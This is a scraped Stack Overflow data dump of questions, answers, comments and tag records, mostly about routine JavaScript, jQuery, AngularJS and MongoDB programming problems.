has body: You have three situations: The user presses backspace and deletes the char before the cursor The user presses canc and deletes the char after the cursor The user selects the text and presses backspace or canc and deletes the selected text So you have to work around all these different situations. This code will work: $('#textareaId')[0].addEventListener("keydown", function(e) { var start = this.selectionStart, end = this.selectionEnd, value = this.value, key = e.keyCode; if (key == 8 &amp;&amp; value[start-1] == '/') e.preventDefault(); if (key == 46 &amp;&amp; value[start] == '/') e.preventDefault(); if ((key == 8 || key == 46) &amp;&amp; value.substring(start, end).indexOf('/') != -1) e.preventDefault(); }, false); WORKING EXAMPLE: http://jsfiddle.net/MeBeiM/7hdb3472/1
type: Answer
upvote count: 4
has comment: http://stackoverflow.com/comment/40142257
downvote count: 0

http://stackoverflow.com/q/25692513
has comment: http://stackoverflow.com/comment/40159148
tagged with: javascript
has answer: http://stackoverflow.com/a/25692542
score: 0
answer count: 2
has body: The following code creates an infinite loop. When you press return to close the alert dialog (as opposed to clicking the "OK"), it sends the keyup event to the input box that has focus, even though the target of the return key keyup event should really be the alert dialog button. But since my input box complains with an alert when it gets a return key keyup event, it triggers the alert window again. This cycle continues until you try to close the alert dialog with the mouse. My real code is more complicated, but this MWE exhibits the problem. JSFiddle: http://jsfiddle.net/8mqmjpw2/ Code: Test How can this problem be solved? And is this a JS implementation bug? The behavior occurs in Firefox 31.0, Safari 7.0.5 (9537.77.4), Chrome 37.0.2062.94 and Opera 24.0.1558.53. The behavior is not present on Android browser when pressing the "Go" button. Maybe someone else could test IE?
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25692542
has comment: http://stackoverflow.com/comment/40158934
tagged with: alert
has comment: http://stackoverflow.com/comment/40158988
has comment: http://stackoverflow.com/comment/40157122
has title: Closing alert dialog with return key sends a keyup event to the focused input box, resulting in an infinite loop
tagged with: onkeyup
type: Question
tagged with: infinite-loop
has answer: http://stackoverflow.com/a/25693732
accepted answer: http://stackoverflow.com/a/25693732

http://stackoverflow.com/comment/40183152
has text: One simple thing is you forgot the . in console.log. Please tell me what appears in the console when you use this modified function. function getFinal(){ var input = document.getElementById('latlng').value; console.log(input); var last = (input.length)-1; console.log(last); var final = input.substring(1,last); console.log(final); document.getElementById('final').value = final; }
comment on: http://stackoverflow.com/q/25706730
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40144484
comment on: http://stackoverflow.com/q/25685256
has text: hitRegion is a no-go : i even saw a (Chromium) discussion about dropping the feature from the spec. IsPointInPath() is the way to go.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25595734
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39981885
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/39980972
has title: jquery store urls into an array and open them using .click(); function with controls
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/25598029
tagged with: arrays
has comment: http://stackoverflow.com/comment/39980992
has comment: http://stackoverflow.com/comment/39983662
has comment: http://stackoverflow.com/comment/39981856
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/39981588
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
linked to: http://stackoverflow.com/q/22174549
favorite count: 0
has answer: http://stackoverflow.com/a/25602114
accepted answer: http://stackoverflow.com/a/25602114
has answer: http://stackoverflow.com/a/25598029
has comment: http://stackoverflow.com/comment/39981761
has comment: http://stackoverflow.com/comment/39992238
has comment: http://stackoverflow.com/comment/39981022
linked to: http://stackoverflow.com/q/24711051
has body: My Exlanation of what I am trying to do, (tried explaining it in 2 ways to help you get an idea) example 1 store all elements like so: url1 from inside in an array, so that they could be clicked with click(); function open first url from array with default button - i.e. $(array[0]).click(); open next url from array with next button - i.e. last clicked $(array[+1]).click(); open previous url from array with prev button - i.e. last clicked $(array[-1]).click(); example 2 create an empty class in HTML like so: create an array of URLs in JAVASCRIPT/JQUERY and store them within .resources class create prev , default , next buttons in HTML default button when clicked opens first URL from array i.e.: $(array[0]).click(); next button when clicked opens next URL from array i.e.: $(array[+1]).click(); prev button when clicked opens previous URL from array i.e.: $(array[-1]).click(); MUSTS: urls must be opened with: click(); function: like so: $(array[0]).click(); fiddle to make it clearer: view fiddle

http://stackoverflow.com/q/25685458
accepted answer: http://stackoverflow.com/a/25703971
tagged with: javascript
upvote count: 1
has answer: http://stackoverflow.com/a/25703971
answer count: 1
tagged with: rally
favorite count: 0
has title: Upgrading my Rally app from rally SDK 1.32 to rally SDK 2.0p5
has body: Please can anyone help me with this, how following Syntax's will be in Rally SDK 2 Or you can refer me some documentation for this, as I am unable to find any. rally.function_name = function (rallyDataSource, config) { var dataSource = new rally.sdk.data.RallyDataSource('__WORKSPACE_OID__', '__PROJECT_OID__', '__PROJECT_SCOPING_UP__', '__PROJECT_SCOPING_DOWN__'); chooser = new rally.sdk.ui.Chooser(chooserConfig, dataSource); How to define function as I was able to do it in rally SDK 1 function getTypeFromRef(ref) { if (rally.sdk.util.Ref.isRef(ref)) { var list = ref.split("/"); list.pop(); return list.pop(); } else { throw "Function getTypeFromRef expected a Rally Reference."; } }
type: AnsweredQuestion
downvote count: 0
score: 1
type: Question

wordpress
tags question: http://stackoverflow.com/q/25700658
tags question: http://stackoverflow.com/q/25703012
tags question: http://stackoverflow.com/q/25635053
tags question: http://stackoverflow.com/q/25572953
tags question: http://stackoverflow.com/q/25652713
tags question: http://stackoverflow.com/q/25692128
tags question: http://stackoverflow.com/q/25595207
tags question: http://stackoverflow.com/q/25555727
tags question: http://stackoverflow.com/q/25710448
tags question: http://stackoverflow.com/q/25556401
tags question: http://stackoverflow.com/q/25682763
tags question: http://stackoverflow.com/q/25571227
tags question: http://stackoverflow.com/q/25632730
tags question: http://stackoverflow.com/q/25692413
tags question: http://stackoverflow.com/q/25687068
tags question: http://stackoverflow.com/q/25675450
tags question: http://stackoverflow.com/q/25607514
tags question: http://stackoverflow.com/q/25650512
tags question: http://stackoverflow.com/q/25677724
tags question: http://stackoverflow.com/q/25678834
tags question: http://stackoverflow.com/q/25591645
tags question: http://stackoverflow.com/q/25689409
tags question: http://stackoverflow.com/q/25691246
tags question: http://stackoverflow.com/q/25671242
tags question: http://stackoverflow.com/q/25644703
tags question: http://stackoverflow.com/q/25654112
tags question: http://stackoverflow.com/q/25702751
tag name: wordpress
tags question: http://stackoverflow.com/q/25708882
tags question: http://stackoverflow.com/q/25586819
tags question: http://stackoverflow.com/q/25631539
tags question: http://stackoverflow.com/q/25629902
tags question: http://stackoverflow.com/q/25605182
tags question: http://stackoverflow.com/q/25567074
tags question: http://stackoverflow.com/q/25626294
tags question: http://stackoverflow.com/q/25585404
tags question: http://stackoverflow.com/q/25669513
tags question: http://stackoverflow.com/q/25666044
tags question: http://stackoverflow.com/q/25627526
tags question: http://stackoverflow.com/q/25700072
tags question: http://stackoverflow.com/q/25646315
tags question: http://stackoverflow.com/q/25696640
tags question: http://stackoverflow.com/q/25632741
type: Tag
tags question: http://stackoverflow.com/q/25583991

http://stackoverflow.com/q/25617838
downvote count: 0
tagged with: jquery
has comment: http://stackoverflow.com/comment/40023023
favorite count: 0
tagged with: ajax
has title: Sending a dynamic form via jquery ajax php
tagged with: php
has comment: http://stackoverflow.com/comment/40021336
upvote count: 2
has comment: http://stackoverflow.com/comment/40023689
has answer: http://stackoverflow.com/a/25619026
has body: I have a pet registration form where people can add a new pet. People will click the add pet button and jquery clones the pet portion of the form and changes the id to #pet-2, another, #pet-3 and so on. After fruitless web searching, I now need to know how to send this via php and ajax. I have already created an ajax function for my contact forms as well as have php code to send the contact forms so would, ideally, want to modify that code in a separate file to handle the register pet also. Here is the fiddle: http://jsfiddle.net/zsxe44c8/ Here is the code for the add pet form: Practice Value 1 Value 2 Your details Mr Mrs Miss Ms Dr Prof Your Address Pet Details Female Male Dog Cat Rabbit Gerbil Guinea Pig Hamster Mouse Rat Chinchilla Other Add another pet Here is the jQuery code for the add pet form: function registerPet() { function addPetRegistrationForm() { var container = $('#register-pet-form'), lastForm = $('#register-pet-form fieldset:last-of-type'), currentForm = $('#pet-1'), newForm = currentForm.clone(), currentVal = parseInt(container.attr('data-quantity'), 10), newVal = currentVal + 1; $('h3', newForm).after('Remove this pet'); $('input, select', newForm).each(function () { var newId = this.id.substring(0, this.id.length - 1) + newVal; $(this).prev().attr('for', newId); this.name = this.id = newId; }); lastForm.after(newForm.attr('id', 'pet-' + newVal)); container.attr('data-quantity', newVal); } function removePetRegistrationForm(target) { $('#pet-' + target).remove(); } function handleRegisterPet() { if($('#pet-1').length) { $('#pet-1').addClass('ispet'); $('#pet-1 *[name]').each(function(){ $(this).attr('name',$(this).attr('name') + '[]'); }); var newBlock = $('#pet-1').html(); $('#pet-1').after('Add another pet'); $('.add-pet').on('click',function() { var count = $('.ispet').length + 1; $('.ispet').last().after(' ' + newBlock + ' '); return false; }); } } $('.add-pet').on('click', function () { addPetRegistrationForm(); return false; }); $('#registe…
has comment: http://stackoverflow.com/comment/40023746
type: Question
has comment: http://stackoverflow.com/comment/40021654
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40023583
has comment: http://stackoverflow.com/comment/40022198
accepted answer: http://stackoverflow.com/a/25619026
tagged with: javascript
tagged with: forms
has comment: http://stackoverflow.com/comment/40022921
has comment: http://stackoverflow.com/comment/40023566
has comment: http://stackoverflow.com/comment/40021630
has comment: http://stackoverflow.com/comment/40022448
score: 2
linked to: http://stackoverflow.com/q/1200266
has comment: http://stackoverflow.com/comment/40023532
answer count: 1

http://stackoverflow.com/a/25615954
upvote count: 1
type: AcceptedAnswer
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25615446
has body: Looking at the jsbin, I noticed that the first entry of data is: "00a9": [["\u00A9"], "\uE24E","\uDBBA\uDF29", ["copyright"], 0, 0]. Let's call this entry "copyright". The statement arr = arr.filter(function(str){ return str; }); will turn this "copyright" entry of data into the value:[["\u00A9"], "\uE24E","\uDBBA\uDF29", ["copyright"]] because the 0 values return false, causing them to be filtered out. I think the intention of this function is to remove undefined elements, this is the assumption I am using in this answer. This in turn will cause spliceI to remain null at the end of your loop labeled "loop:", as the loop is looking for numbers, and the filtered array no longer has any numbers in it. Removing the first entry from data removed the error, confirming this. Updating your filter code to the following: arr = arr.filter(function (str) { return typeof(str) !== 'undefined'; }); Then fixed the error even when the first entry of data was present. Here is a bin with the updated code, running on a smaller dataset.
accepted answer of: http://stackoverflow.com/q/25615446

http://stackoverflow.com/a/25702868
answers question: http://stackoverflow.com/q/25702797
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25702797
score: 3
type: AcceptedAnswer
upvote count: 3
type: Answer
has body: The first argument of each is index, so you could use that index to increment the setTimeout like: $(".welcome&gt;p").each(function( idx ) { var $this = $(this); setTimeout(function() { $this.animate({ opacity: 1 }, 600); }, idx * 600); });

http://stackoverflow.com/comment/40163716
comment on: http://stackoverflow.com/a/25693471
type: Comment
has text: Sorry Man can you fix this please : ## The hashtags maybe contain any language unicode Arabic, Japanese .. etc ## ## This Code can help ## `var unicodeWord = XRegExp("^\\p{L}+$"); unicodeWord.test("Русский"); // true unicodeWord.test("日本語"); // true unicodeWord.test("العربية"); // true `
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40029925
score: 0
comment on: http://stackoverflow.com/q/25614023
type: Comment
type: QuestionComment
has text: why on every function, only once on initialization...if u put it in `render` you will reset var on every render. Plus set such things as DOM nodes vars bette rdo on init, as you cant be sure that no other code or view has already removed this node.

http://stackoverflow.com/a/25806161
downvote count: 0
score: 1
has body: Try if this helps: // controller if(Yii::app()-&gt;request-&gt;isAjaxRequest){ Yii::app()-&gt;clientScript-&gt;corePackages = array(); //new insert $this-&gt;renderPartial('my_view', array( 'model' =&gt; $dataProvider,false,true )); }
upvote count: 1
answers question: http://stackoverflow.com/q/25642491
type: Answer

http://stackoverflow.com/comment/107421194
comment on: http://stackoverflow.com/a/57244207
score: 0
type: Comment
has text: This is the opposite of the requested question. The question requests how to convert localized String to a Number. Not Number to localized String.
type: AnswerComment

http://stackoverflow.com/comment/39970057
type: Comment
comment on: http://stackoverflow.com/q/25589766
type: QuestionComment
has text: You will want to read [How do Javascript closures work?](http://stackoverflow.com/questions/111102/how-do-javascript-closures-work/111200#111200). That will explain it all.
score: 2

http://stackoverflow.com/q/25556117
tagged with: javascript
has comment: http://stackoverflow.com/comment/39907147
tagged with: keyboard
favorite count: 0
score: 0
has answer: http://stackoverflow.com/a/25556303
has comment: http://stackoverflow.com/comment/39907374
type: UnansweredQuestion
upvote count: 1
downvote count: 1
type: Question
has title: How would I test for when a key is released in JavaScript
has body: I would like to have a variable become true when I press a key, and become false when it is released. I have a function that sets the var to true when the key is pressed, but I need to have a function called when a key is released as well to reset the var to false.
answer count: 1

http://stackoverflow.com/a/25603220
accepted answer of: http://stackoverflow.com/q/25601985
answers question: http://stackoverflow.com/q/25601985
score: 4
type: AcceptedAnswer
has body: Removing "duplicates" is a process here and there is no simple way to both "identify" the dupliciates and "remove" them as a single statement. Another particular here is that query forms cannot "typically" determine the size of an array, and certainly cannot sort by that where it is not already present in the document. All cases basically come down to Identifying the list of documents that are "duplicates", and then ideally fingering the particular document you want to delete, or more to the point the document you "don't" want to delete from the possible duplicates. Processing that list to actually perform the deletes. With that in mind you hopefully have a modern MongoDB of 2.6 version or greater where you can obtain a cursor from the aggregate method. You also want the Bulk Operations API available in these versions for optimal speed: var bulk = db.collection.initializeOrderedBulkOp(); var counter = 0; db.collection.aggregate([ { "$project": { "id": 1, "size": { "$size": "$someArray" } }}, { "$sort": { "id": 1, "size": -1 } }, { "$group": { "_id": "$id", "docId": { "$first": "$_id" } }} ]).forEach(function(doc) { bulk.find({ "id": doc._id, "_id": { "$ne": doc.docId }).remove(); counter++; // Send to server once every 1000 statements only if ( counter % 1000 == 0 ) { bulk.execute(); bulk = db.collection.initializeOrderedBulkOp(); // need to reset } }); // Clean up results that did not round to 1000 if ( counter % 1000 != 0 ) bulk.execute(); You can still do much the same thing with older versions of MongoDB, but the result from .aggregate() must be under 16MB which is the BSON limit. That still should be a lot, but with older versions you could also output to a collection with mapReduce. But for the general aggregation response, you get an array of results and you also don't have the other convienience methods for finding the size of the array. So a little more work: var result = db.collection.aggregate([ { "$unwind": "$someArray" }, { "$group": { "_id": "$id", "id…
type: Answer
upvote count: 4
downvote count: 0

http://stackoverflow.com/q/25682687
has title: Play framework JavaScript function as scala template parameter
tagged with: scala-template
type: Question
has answer: http://stackoverflow.com/a/25683459
tagged with: scala
answer count: 1
upvote count: 1
accepted answer: http://stackoverflow.com/a/25683459
has body: I want to reuse a javascript function using a scala template so I would only have to pass a different success/failure function, but I don't seem to be able to able to pass a javascript function to a scala template. Please note I'm veeeeerry new to this and don't even know if what I am doing is possible. This is kind of what I'm trying to achieve: @(formId: String, success: JavaScript, fail: JavaScript) &lt;script type="text/javascript"&gt; $("@formId").submit(function(e) { var data = $(this).serializeArray(); var action = $(this).attr("action"); $.ajax( { url : action, type: "POST", data : data, success:function(data, textStatus, jqXHR) // Change contents to dynamic parameter for scala??? perhaps a javascript function to execute??? { @success() /*console.log("save succesfull, progress!") alert('Save successfull, now move on!');*/ }, error: function(jqXHR, textStatus, errorThrown) // Change contents to dynamic parameter for scala??? perhaps a javascript function to execute??? { //if fails @fail() /*console.log(jqXHR.responseText); var errors = JSON.parse(jqXHR.responseText); console.log(errors); alert('Woops, something went wrong: ' + jqXHR.responseText);*/ } }); e.preventDefault(); }); &lt;/script&gt; How it would be used: @snippets.ajaxFormSubmit("#form", function() { alert("Save successfull, now move on!"); }, function() { alert("Save failed!"); } )
downvote count: 0
tagged with: javascript
tagged with: playframework
type: AnsweredQuestion
score: 1
tagged with: templates
favorite count: 0

http://stackoverflow.com/comment/40181162
score: 0
type: AnswerComment
has text: @user3502786 Example: `var tickers = [{ticker:'GOOG',value:1},{ticker:'YHOO',value:2}]; async.eachSeries(tickers,updateJson,function(err){/*done*/});` but you'll have to change your `updateJson` to `function updateJson(obj,callback){var ticker = obj.ticker,value = obj.value;async.waterfall([/* flow operations go here */],callback)};`
type: Comment
comment on: http://stackoverflow.com/a/25705335

http://stackoverflow.com/comment/39898606
score: 1
has text: What do you mean by "added up"? What result do you want when (say) the "A" is selected in the first question and "C" in the second? What do you want to do with that result?
type: QuestionComment
comment on: http://stackoverflow.com/q/25551724
type: Comment

http://stackoverflow.com/comment/40008953
has text: I've used this simple drupal-page with a map and a marker: http://www.drupal.manuals-now.com/map/node and added your code to see what's happening there. It was clear that it's a timing-issue when the marker was visible as a property of another object, but undefined when I tried to access it directly([related question to the console-behaviour](http://stackoverflow.com/questions/18098482/javascript-object-property-logged-in-google-chrome-console-before-declaration/18098661#18098661)). The addmarker-listener I've found by inspecting the loaded scripts for the page( GIcon manager )
type: Comment
comment on: http://stackoverflow.com/a/25610524
score: 0
type: AnswerComment

accordion
tags question: http://stackoverflow.com/q/25555098
tags question: http://stackoverflow.com/q/25611429
tag name: accordion
type: Tag

http://stackoverflow.com/comment/40169534
type: Comment
comment on: http://stackoverflow.com/a/25699231
score: 0
type: AnswerComment
has text: I am using `break` statement in my code but I didn't mention it here.

http://stackoverflow.com/q/25672195
has body: I have the following: var panel = headerPanel.add({ id: 'recentcommands_button_id', xtype: 'button', text: "Recent Commands", tooltip: "Sample Tooltip Text" }); Followed later on by: Ext.getCmp('recentcommands_button_id').tooltip = "TEST"; Which sets the tooltip value properly if I check the button's properties, but which does not actually change the value on the screen. I tried using: Ext.getCmp('recentcommands_button_id').tooltip.update("TEST"); This did not work either. Any ideas?
score: 0
upvote count: 1
answer count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/25672215
tagged with: tooltip
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25672215
tagged with: extjs
type: AnsweredQuestion
has title: How to change Ext Js Button tooltip at runtime?
tagged with: button
favorite count: 0
type: Question

http://stackoverflow.com/a/25675670
score: 1
has comment: http://stackoverflow.com/comment/40155657
upvote count: 1
has comment: http://stackoverflow.com/comment/40155854
has body: To give you an answer I assume the following: There's one resource you want to get my.json and update from time to time. You want to access and update the data from two (or more) controllers You don't want to pollute your $rootScope In that case the ideal solution would be to store the method to get/update the data in the factory as well as the current data. In each controller, where you need that data, you simply inject the factory and assign it to the $scopeof that controller. Here's one example: angular.factory('dataFactory', ['$http', function ($http) { var dataFactory={}; dataFactory.currentData = null; dataFactory.update = function () { return $http.get("my.json") .success(function(data){ dataFactory.currentData = data; return data; }); }; return dataFactory; }]); angular.controller('firstCtrl', ['$scope', 'dataFactory', function ($scope, dataFactory) { $scope.data = dataFactory; }]); angular.controller('secondCtrl', ['$scope', 'dataFactory', function ($scope, dataFactory) { $scope.data = dataFactory; }]); In your HTML you can then use e.g. ng-bind="data.currentData" and ng-click="data.update()". Further thoughts: If you don't want to put the factory in your controllers $scope you might even consider to further break down your logic and create one or two directives that are based on that factory. If that makes sense is not easy to tell with the given information, however.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40146031
downvote count: 0
answers question: http://stackoverflow.com/q/25672360
type: Answer
has comment: http://stackoverflow.com/comment/40150288
has comment: http://stackoverflow.com/comment/40157563
accepted answer of: http://stackoverflow.com/q/25672360
has comment: http://stackoverflow.com/comment/40149955

http://stackoverflow.com/a/25557879
score: 1
has comment: http://stackoverflow.com/comment/39916205
has comment: http://stackoverflow.com/comment/39910930
type: AcceptedAnswer
downvote count: 0
has body: When you want the id to be appended to the URL, you should set urlRoot, not url. Take a look at the default implementation for Backbone.Model.prototype.url and it will make sense: url: function() { var base = _.result(this, 'urlRoot') || _.result(this.collection, 'url') || urlError(); if (this.isNew()) return base; return base.replace(/([^\/])$/, '$1/') + encodeURIComponent(this.id); }, Later comments revealed (after this answer was posted) that the problem had to do with how the attributes were being set. In general, you should always use model.set("id", idValue) for all attribute changes, even and especially the ID attribute. (If you have set idAttribute to something else on the model prototype, use that name as the first argument instead of "id".) More generally still, it's a bad idea to access model.attributes directly- use model.set() and model.get() instead. The model.id property is a convenience that you should basically treat as read-only; Backbone will modify it appropriately in every set() call that involves the id attribute. – Platinum Azure 18 hours ago
answers question: http://stackoverflow.com/q/25557779
type: Answer
has comment: http://stackoverflow.com/comment/39916167
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25557779
has comment: http://stackoverflow.com/comment/39936315

http://stackoverflow.com/comment/40163718
score: 0
type: Comment
has text: @user135498 That is the approach I would probably take in this case, without knowing more. You're welcome!
type: AnswerComment
comment on: http://stackoverflow.com/a/25695131

http://stackoverflow.com/a/37200467
has body: I got the same problem. You'll have to use the class instead of ID to make it work. Use $(".merchant") to replace $("#merchant"), and update 'merchant' to be a class.
score: 0
answers question: http://stackoverflow.com/q/25580280
type: Answer

http://stackoverflow.com/q/25556926
has comment: http://stackoverflow.com/comment/39909065
tagged with: javascript
has comment: http://stackoverflow.com/comment/39908898
has comment: http://stackoverflow.com/comment/39909424
answer count: 1
favorite count: 0
tagged with: angularjs
has comment: http://stackoverflow.com/comment/39909753
has comment: http://stackoverflow.com/comment/39909769
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39909004
has title: Wrapping $watch/$timeout in function breaks 2-way binding if bound resource is loaded async
has answer: http://stackoverflow.com/a/25558194
score: 1
has comment: http://stackoverflow.com/comment/39910118
upvote count: 1
tagged with: angularjs-scope
has comment: http://stackoverflow.com/comment/39909254
type: Question
accepted answer: http://stackoverflow.com/a/25558194
tagged with: angularjs-directive
has comment: http://stackoverflow.com/comment/39909866
downvote count: 0
has body: TL;DR Check the example I have a directive with an isolated scope where the scope looks like this: { obj: '=' }. I then need to apply that value to a model property: link (scope, element, attrs) { scope.model = {}; scope.model.v = scope.obj.value; } Then I need to make sure that when scope.model.value changes the parent scope's property is updated as well. So I do something like this: scope.$watch('obj.value', function (a,b) { if (!angular.equals(a, b)) { $timeout(function () { scope.model.v = a; }); }); And visa versa for binding in the other direction. This works perfectly, but I wanted to put this in a reusable function so I'm not always repeating that chunk of code. So I came up with this: /** * scope: the scope being altered * a: string representing the first property being bound * b: string representing the second property being bound * objEq: boolean to be passed to the scope.$watch object equality argument */ var bind = function (scope, a, b, objEq) { objEq = typeof objEq === 'undefined' ? false : objEq; var getPointer = function (s) { var parts = s.split('.'); var pointer = scope; var key = parts.slice(-1); for (var i = 0; i &lt; parts.length-1; i++) { var part = parts[i]; pointer = pointer[part]; } return {pointer: pointer, key: key}; }; var aObj = getPointer(a); var bObj = getPointer(b); scope.$watch(a, function (n, o) { if (!angular.equals(n, o)) { $timeout(function () { bObj.pointer[bObj.key] = n; }); } }, objEq); scope.$watch(b, function (n, o) { if (!angular.equals(n, o)) { $timeout(function () { aObj.pointer[aObj.key] = n; }); } }, objEq); }; This works great if the parent scope's property is hard coded into the controller, but breaks if the property is the result of an http request. I can't figure out what is going on here. Could someone explain this? Here is an example. Also, just wrapping the scope.$watch in a function doesn't break it. This works: function (scope, a) { scope.$watch(a, function (n, o) { if (!angular.equals(n, o)) { $timeout(functi…

http://stackoverflow.com/a/25609923
upvote count: 3
type: AcceptedAnswer
type: Answer
has body: Parsley is a Javascript library and works something like this: When you render your html form, you specify the needed validations through data attributes. You indicate that the form will be validated by Parsley either with the form attribute data-parsley-validate or via javascript through $("#form").parsley(). When parsley is binded to your form (the second step), an object of the type ParsleyForm will be created containing the constraints for each field. After the object is created, the html attributes are no longer needed. So, if you change any attribute it will have no impact on the validation since Parsley will verify the constraints of the javascript object. This is why you need to destroy & bind parsley (in order to recreate the parsley instance with the new constraints). In order to solve your issue, you could do something like this: Submit You can also check this working jsfiddle
score: 3
answers question: http://stackoverflow.com/q/25560572
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25560572

http://stackoverflow.com/q/25707496
tagged with: javascript
upvote count: 3
has title: Add extra div under each row of table using Jquery
answer count: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25707667
accepted answer: http://stackoverflow.com/a/25707667
favorite count: 0
tagged with: razor
tagged with: asp.net-mvc-4
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/40184612
has body: I have a MVC 4 application where one of my view appears something like: and the corresponding code for this view is: @foreach (var item in Model) { @Html.DisplayFor(modelItem => item.DocumentName) @Html.DisplayFor(modelItem => item.CreatedDate) @Ajax.ActionLink("Details", "DocumentDetail", "Documents", new { Area = "SmartDocs", id = item.DocumentId.ToString() , currentStatus = item.CurrentStatus.ToString()}, new AjaxOptions { InsertionMode = InsertionMode.Replace, HttpMethod = "GET", LoadingElementId = "ajax-loader", UpdateTargetId = "document-detail-contentsREVW", }, new { @class = "details-link" }) } Now once I click on the Details link ,one controller action method is called and the details for that record is displayed just beneath the first row in a tabular format inside a document-detail-contentsREVW as used in my view and can be seen as: which is the details for the first record.Now again if I click on the details for the 3rd or any of the other record the position for showing the detail is the same as shown in the below view : Here , I want the details to be shown just below that particular record for which the link has been clicked.Functionality is working fine here.Also on click of details I am able to toggle(hide/unhide) the details div. I feel that the position for using my div inside a tr is wrong and hence everytime the same place gets refreshed on details click. I searched regarding this a lot and even found lot of fiddles to achieve this.For ex: http://jsfiddle.net/ME3kG/30/(I want something like this) But here the details are prewritten and are used on click of the icon.But in my case , I will be getting the details dynamically after the click of the details link for that record.I guess I am clear with my requirement. So, can this be done by jquery or how can I achieve this..? Thanks in advance. Following is my script: $(function () { $('.details-link').on('click', function (e) { e.preventDefault(); $(this).closest('tr').find('.document-details').tog…
type: Question
has comment: http://stackoverflow.com/comment/40184385
score: 3

http://stackoverflow.com/comment/39928994
type: Comment
has text: No, it won't; but to do that you'll have to manipulate the HTML. Either its display, with CSS, or the DOM itself, via JavaScript. The first you've stated is a "*cheap solution*" (and presumably unwanted), and the latter approach features no tag to your question. So you'll have to compromise somewhere.
type: AnswerComment
comment on: http://stackoverflow.com/a/25567882
score: 0

http://stackoverflow.com/a/25700838
answers question: http://stackoverflow.com/q/25697907
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40174623
type: Answer
has body: Welcome to asynchronous programming in JavaScript. When we look at your main code: var output = getThePushNameById( base , 2 ) console.log(output); Then you (logically) assume that the getThePushNameById will have completed before the console.log statement is executed. Unfortunately that assumption is false when we are programming against a server. In your case getThePushNameById reaches out to Firebase, which may take a long time to complete. If the browser would simply wait for the call to complete, the entire application would be blocked. Instead of blocking the application, the browser spins off the call-to-the-server into a background activity. And you pass in a function that it will call when the background activity is completed. It's like when you sign up for delivery notifications from FedEx. Instead of having to check at the front door if the package is already there, you receive a text message when the package has been dropped off. This spawn-background-work-that-calls-you-back-when-it-has-completed approach is essential to most of the modern web. You're best of embracing it early on and not trying to work against it. In your case you can embrace it, by passing in a callback function into you getThePushNameById and calling that function when you receive the value from Firebase: function getThePushNameById( path , id, callback ){ path.once( 'value', function( data ){ if( data.child('id').val() != id ){ data.forEach( function( newData ){ var base = new Firebase( path.child( newData.name() ).toString() ); getThePushNameById( base, id, callback ); }) }else{ //finishes the function when path is founded - returns the value callback(path.name()); } }) } getThePushNameById( base, 2, function(output) { console.log(output); });
has comment: http://stackoverflow.com/comment/40176563
upvote count: 1
has comment: http://stackoverflow.com/comment/40174453

http://stackoverflow.com/q/25594478
has answer: http://stackoverflow.com/a/45977839
possible better answer: http://stackoverflow.com/a/44571274
favorite count: 0
upvote count: 132
has answer: http://stackoverflow.com/a/25683102
accepted answer: http://stackoverflow.com/a/25709983
has answer: http://stackoverflow.com/a/44571274
type: Question
has answer: http://stackoverflow.com/a/44861470
has answer: http://stackoverflow.com/a/48870203
has answer: http://stackoverflow.com/a/50623156
has answer: http://stackoverflow.com/a/48067347
has answer: http://stackoverflow.com/a/26613450
has answer: http://stackoverflow.com/a/66457079
tagged with: chart.js
has answer: http://stackoverflow.com/a/48624551
has comment: http://stackoverflow.com/comment/85792243
has answer: http://stackoverflow.com/a/59428246
has answer: http://stackoverflow.com/a/56544946
answer count: 21
has answer: http://stackoverflow.com/a/29508005
score: 132
has body: I'm using ChartJS in a project I'm working on and I need a different color for each bar in a Bar Chart. Here's an example of the bar chart data set: var barChartData = { labels: ["001", "002", "003", "004", "005", "006", "007"], datasets: [{ label: "My First dataset", fillColor: "rgba(220,220,220,0.5)", strokeColor: "rgba(220,220,220,0.8)", highlightFill: "rgba(220,220,220,0.75)", highlightStroke: "rgba(220,220,220,1)", data: [20, 59, 80, 81, 56, 55, 40] }] }; Is there any way to paint each bar differently?
has answer: http://stackoverflow.com/a/64402076
downvote count: 0
has answer: http://stackoverflow.com/a/57044462
tagged with: javascript
has answer: http://stackoverflow.com/a/43841507
has answer: http://stackoverflow.com/a/74154999
has title: Different color for each bar in a bar chart; ChartJS
has answer: http://stackoverflow.com/a/57449350
has answer: http://stackoverflow.com/a/25709983
has answer: http://stackoverflow.com/a/70388933
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/33534540

http://stackoverflow.com/comment/39915222
type: Comment
comment on: http://stackoverflow.com/a/25560259
score: 0
type: AnswerComment
has text: @CupOfJoe It works for me.. See this demo. http://plnkr.co/edit/0jhiqM?p=preview Which version of angular you are using?

http://stackoverflow.com/q/25598776
tagged with: actionscript-3
type: Question
has title: How to make a bridge between javascript and actionscript3
score: 0
accepted answer: http://stackoverflow.com/a/25598929
answer count: 1
tagged with: flash
tagged with: javascript
